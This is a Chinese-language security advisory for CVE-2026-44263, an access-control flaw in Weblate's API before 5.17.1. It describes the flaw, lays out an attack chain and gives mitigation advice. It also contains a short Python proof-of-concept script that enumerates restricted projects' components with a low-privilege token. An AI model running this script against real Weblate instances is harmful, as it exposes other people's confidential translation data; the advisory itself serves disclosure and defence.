CVE-2026-44263 Weblate API信息泄露漏洞

漏洞信息

漏洞编号

CVE-2026-44263

漏洞类型

信息泄露

CVSS评分

4.3 中危

攻击向量

网络 (AV:N)

认证要求

低权限 (PR:L)

用户交互

无需交互 (UI:N)

影响产品

Weblate

漏洞概述

Weblate是一个基于Web的本地化工具。在5.17.1版本之前，其截图、任务和组件链接API存在安全漏洞。攻击者只需拥有低权限账号，即可利用该漏洞枚举出其无权访问的项目中的翻译信息。该漏洞可能导致敏感信息泄露，厂商已在5.17.1版本中修复了此问题。

技术细节

该漏洞的核心在于Weblate的API权限控制逻辑存在缺陷。在受影响的版本中（< 5.17.1），处理截图、组件列表和任务列表的API接口未能正确验证当前用户对目标项目的访问权限。攻击者利用一个具有合法身份但权限较低（PR:L）的账号，通过向受影响的API端点（如/api/components/）发送HTTP GET请求，可以触发系统返回包含受限项目翻译数据的响应。这种利用方式属于不安全的直接对象引用（IDOR）或越权访问。由于攻击是通过网络进行的（AV:N），且无需用户交互（UI:N），攻击者可以自动化地批量扫描并收集敏感的翻译数据，导致机密性受损（C:L），但不会影响系统的完整性或可用性。

攻击链分析

STEP 1

1

攻击者侦察目标网络，发现存在Weblate服务实例。

STEP 2

2

攻击者在Weblate上注册一个普通账号或获取一个低权限账号。

STEP 3

3

攻击者使用低权限账号的API Token，向/api/components/、/api/screenshots/等端点发送请求。

STEP 4

4

由于漏洞存在，服务器返回了包含受限项目翻译信息的列表，攻击者解析响应获取敏感数据。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

import requests

# Target Weblate instance URL
target_url = "https://target-weblate-instance.com/api/"
# Low privilege user token
auth_token = "LOW_PRIVILEGE_USER_TOKEN"

headers = {
    "Authorization": f"Token {auth_token}",
    "Content-Type": "application/json"
}

# Exploit: Accessing components API to enumerate inaccessible projects
# Vulnerable endpoints may include /api/screenshots/, /api/tasks/, /api/components/
endpoint = "components/"

try:
    response = requests.get(f"{target_url}{endpoint}", headers=headers)
    
    if response.status_code == 200:
        data = response.json()
        print("[+] Successfully retrieved data via API.")
        print("[+] Dumping potentially sensitive project/translation info:")
        
        # Check results for items that should not be accessible
        for item in data.get('results', []):
            project_name = item.get('project', {}).get('name', 'Unknown')
            component_name = item.get('name', 'Unknown')
            print(f"Project: {project_name} | Component: {component_name}")
            
    else:
        print(f"[-] Request failed with status code: {response.status_code}")
        
except Exception as e:
    print(f"[-] An error occurred: {e}")

影响范围

Weblate < 5.17.1

防御指南

临时缓解措施

如果暂时无法升级，建议通过Web应用防火墙（WAF）限制对特定API端点（如/api/components/）的访问，仅允许受信任的IP或管理员角色调用，或暂时禁用相关API功能直至补丁应用。